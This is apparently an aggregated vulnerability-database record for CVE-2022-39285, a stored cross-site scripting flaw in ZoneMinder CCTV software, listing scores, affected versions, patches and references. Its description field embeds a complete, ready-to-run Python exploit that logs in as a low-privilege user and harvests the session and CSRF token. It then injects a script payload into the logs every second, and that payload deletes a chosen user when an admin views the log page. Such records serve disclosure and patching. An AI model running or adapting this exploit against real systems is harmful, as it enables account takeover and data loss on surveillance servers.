ID

VAR-202210-0307


CVE

CVE-2022-39285


TITLE

ZoneMinder  Cross-site scripting vulnerability in

Trust: 0.8

sources: JVNDB: JVNDB-2022-018651

DESCRIPTION

ZoneMinder is a free, open source Closed-circuit television software application The file parameter is vulnerable to a cross site scripting vulnerability (XSS) by backing out of the current "tr" "td" brackets. This then allows a malicious user to provide code that will execute when a user views the specific log on the "view=log" page. This vulnerability allows an attacker to store code within the logs that will be executed when loaded by a legitimate user. These actions will be performed with the permission of the victim. This could lead to data loss and/or further exploitation including account takeover. This issue has been addressed in versions `1.36.27` and `1.37.24`. Users are advised to upgrade. Users unable to upgrade should disable database logging. ZoneMinder Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS) # Date: 10/01/2022 # Exploit Author: Trenches of IT # Vendor Homepage: https://github.com/ZoneMinder/zoneminder # Version: v1.36.26 # Tested on: Linux/Windows # CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 # Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/ # # Proof of Concept: # 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped) # 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log # 3 - XSS executes delete function on target UID (user). import requests import re import time import argparse import sys def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: poc.py -i 1.2.3.4 -p 80 -u lowpriv -p lowpriv -d 1") parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server. (Example: -i 1.2.3.4", required=True) parser.add_argument("-p", "--port", help="Provide the port of the target zoneminder server. (Example: -p 80", required=True) parser.add_argument("-zU", "--username", help="Provide the low privileged username for the target zoneminder server. (Example: -zU lowpriv", required=True) parser.add_argument("-zP", "--password", help="Provide the low privileged password for the target zoneminder server. (Example: -zP lowpriv", required=True) parser.add_argument("-d", "--deleteUser", help="Provide the target user UID to delete from the target zoneminder server. (Example: -d 7", required=True) options = parser.parse_args(args) return options options = getOptions(sys.argv[1:]) payload = "http%3A%2F%2F" + options.ip + "%2Fzm%2F</td></tr><script src='/zm/index.php?view=options&tab=users&action=delete&markUids[]=" + options.deleteUser + "&deleteBtn=Delete'</script>" #Request to login and get the response headers loginUrl = "http://" + options.ip + ":" + options.port + "/zm/index.php?action=login&view=login&username="+options.username+"&password="+options.password loginCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": "f1neru6bq6bfddl7snpjqo6ss2"} loginHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=login", "Upgrade-Insecure-Requests": "1"} response = requests.post(loginUrl, headers=loginHeaders, cookies=loginCookies) zmHeaders = response.headers try: zoneminderSession = re.findall(r'ZMSESSID\=\w+\;', str(zmHeaders)) finalSession = zoneminderSession[-1].replace('ZMSESSID=', '').strip(';') except: print("[ERROR] Ensure the provided username and password is correct.") sys.exit(1) print("Collected the low privilege user session token: "+finalSession) #Request using response headers to obtain CSRF value csrfUrl = "http://"+options.ip+":"+options.port+"/zm/index.php?view=filter" csrfCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": '"' + finalSession + '"'} csrfHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&minTime=2022-09-30T20:52:58&maxTime=2022-09-30T21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1", "Upgrade-Insecure-Requests": "1"} response = requests.get(csrfUrl, headers=csrfHeaders, cookies=csrfCookies) zmBody = response.text extractedCsrfKey = re.findall(r'csrfMagicToken\s\=\s\"key\:\w+\,\d+', str(zmBody)) finalCsrfKey = extractedCsrfKey[0].replace('csrfMagicToken = "', '') print("Collected the CSRF key for the log injection request: "+finalCsrfKey) print("Navigate here with an admin user: http://"+options.ip+"/zm/index.php?view=log") while True: #XSS Request xssUrl = "http://"+options.ip+"/zm/index.php" xssCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": finalSession} xssHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=filter"} xssData = {"__csrf_magic": finalCsrfKey , "view": "request", "request": "log", "task": "create", "level": "ERR", "message": "Trenches%20of%20IT%20PoC", "browser[name]": "Firefox", "browser[version]": "91.0", "browser[platform]": "UNIX", "file": payload, "line": "105"} response = requests.post(xssUrl, headers=xssHeaders, cookies=xssCookies, data=xssData) print("Injecting payload: " + response.text) time.sleep(1)

Trust: 1.71

sources: NVD: CVE-2022-39285 // JVNDB: JVNDB-2022-018651 // PACKETSTORM: 171498

IOT TAXONOMY

category:['camera device']sub_category:camera

Trust: 0.1

sources: OTHER: None

AFFECTED PRODUCTS

vendor:zonemindermodel:zoneminderscope:ltversion:1.36.27

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:ltversion:1.37.24

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:gtversion:1.37.0

Trust: 1.0

vendor:zonemindermodel:zoneminderscope:eqversion: -

Trust: 0.8

vendor:zonemindermodel:zoneminderscope:eqversion:1.37.0 greater than 1.37.24

Trust: 0.8

vendor:zonemindermodel:zoneminderscope: - version: -

Trust: 0.8

vendor:zonemindermodel:zoneminderscope:eqversion:1.36.27

Trust: 0.8

sources: JVNDB: JVNDB-2022-018651 // NVD: CVE-2022-39285

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2022-39285
value: MEDIUM

Trust: 1.0

security-advisories@github.com: CVE-2022-39285
value: HIGH

Trust: 1.0

NVD: CVE-2022-39285
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-202210-333
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2022-39285
baseSeverity: MEDIUM
baseScore: 5.4
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: REQUIRED
scope: CHANGED
confidentialityImpact: LOW
integrityImpact: LOW
availabilityImpact: NONE
exploitabilityScore: 2.3
impactScore: 2.7
version: 3.1

Trust: 1.0

security-advisories@github.com: CVE-2022-39285
baseSeverity: HIGH
baseScore: 7.6
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.1
impactScore: 5.5
version: 3.1

Trust: 1.0

NVD: CVE-2022-39285
baseSeverity: MEDIUM
baseScore: 5.4
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: REQUIRED
scope: CHANGED
confidentialityImpact: LOW
integrityImpact: LOW
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: JVNDB: JVNDB-2022-018651 // CNNVD: CNNVD-202210-333 // NVD: CVE-2022-39285 // NVD: CVE-2022-39285

PROBLEMTYPE DATA

problemtype:CWE-79

Trust: 1.0

problemtype:Cross-site scripting (CWE-79) [ others ]

Trust: 0.8

sources: JVNDB: JVNDB-2022-018651 // NVD: CVE-2022-39285

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-202210-333

TYPE

XSS

Trust: 0.6

sources: CNNVD: CNNVD-202210-333

PATCH

title:ZoneMinder Fixes for cross-site scripting vulnerabilitiesurl:http://123.124.177.30/web/xxk/bdxqById.tag?id=209972

Trust: 0.6

sources: CNNVD: CNNVD-202210-333

EXTERNAL IDS

db:NVDid:CVE-2022-39285

Trust: 3.4

db:PACKETSTORMid:171498

Trust: 2.5

db:JVNDBid:JVNDB-2022-018651

Trust: 0.8

db:CNNVDid:CNNVD-202210-333

Trust: 0.6

db:OTHERid:NONE

Trust: 0.1

sources: OTHER: None // JVNDB: JVNDB-2022-018651 // PACKETSTORM: 171498 // CNNVD: CNNVD-202210-333 // NVD: CVE-2022-39285

REFERENCES

url:http://packetstormsecurity.com/files/171498/zoneminder-log-injection-xss-cross-site-request-forgery.html

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/c0a4c05e84eea0f6ccf7169c014efe5422c9ba0d

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/commit/d289eb48601a76e34feea3c1683955337b1fae59

Trust: 2.4

url:https://github.com/zoneminder/zoneminder/security/advisories/ghsa-h6xp-cvwv-q433

Trust: 2.4

url:https://nvd.nist.gov/vuln/detail/cve-2022-39285

Trust: 0.9

url:https://cxsecurity.com/cveshow/cve-2022-39285/

Trust: 0.6

url:https://ieeexplore.ieee.org/abstract/document/10769424

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=log")

Trust: 0.1

url:http://"+options.ip+"/zm/index.php"

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&mintime=2022-09-30t20:52:58&maxtime=2022-09-30t21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1",

Trust: 0.1

url:https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=login",

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2022-39290

Trust: 0.1

url:https://github.com/zoneminder/zoneminder

Trust: 0.1

url:http://"

Trust: 0.1

url:http://"+options.ip+"/zm/index.php?view=filter"}

Trust: 0.1

url:http://"+options.ip+":"+options.port+"/zm/index.php?view=filter"

Trust: 0.1

url:http://"+options.ip,

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2022-39291

Trust: 0.1

url:http://<target>/zm/index.php?view=log

Trust: 0.1

sources: OTHER: None // JVNDB: JVNDB-2022-018651 // PACKETSTORM: 171498 // CNNVD: CNNVD-202210-333 // NVD: CVE-2022-39285

CREDITS

Trenches Of IT

Trust: 0.1

sources: PACKETSTORM: 171498

SOURCES

db:OTHERid: -
db:JVNDBid:JVNDB-2022-018651
db:PACKETSTORMid:171498
db:CNNVDid:CNNVD-202210-333
db:NVDid:CVE-2022-39285

LAST UPDATE DATE

2025-01-30T21:28:02.358000+00:00


SOURCES UPDATE DATE

db:JVNDBid:JVNDB-2022-018651date:2023-10-20T08:27:00
db:CNNVDid:CNNVD-202210-333date:2023-03-28T00:00:00
db:NVDid:CVE-2022-39285date:2023-03-27T18:15:11.557

SOURCES RELEASE DATE

db:JVNDBid:JVNDB-2022-018651date:2023-10-20T00:00:00
db:PACKETSTORMid:171498date:2023-03-27T14:54:04
db:CNNVDid:CNNVD-202210-333date:2022-10-07T00:00:00
db:NVDid:CVE-2022-39285date:2022-10-07T21:15:11.397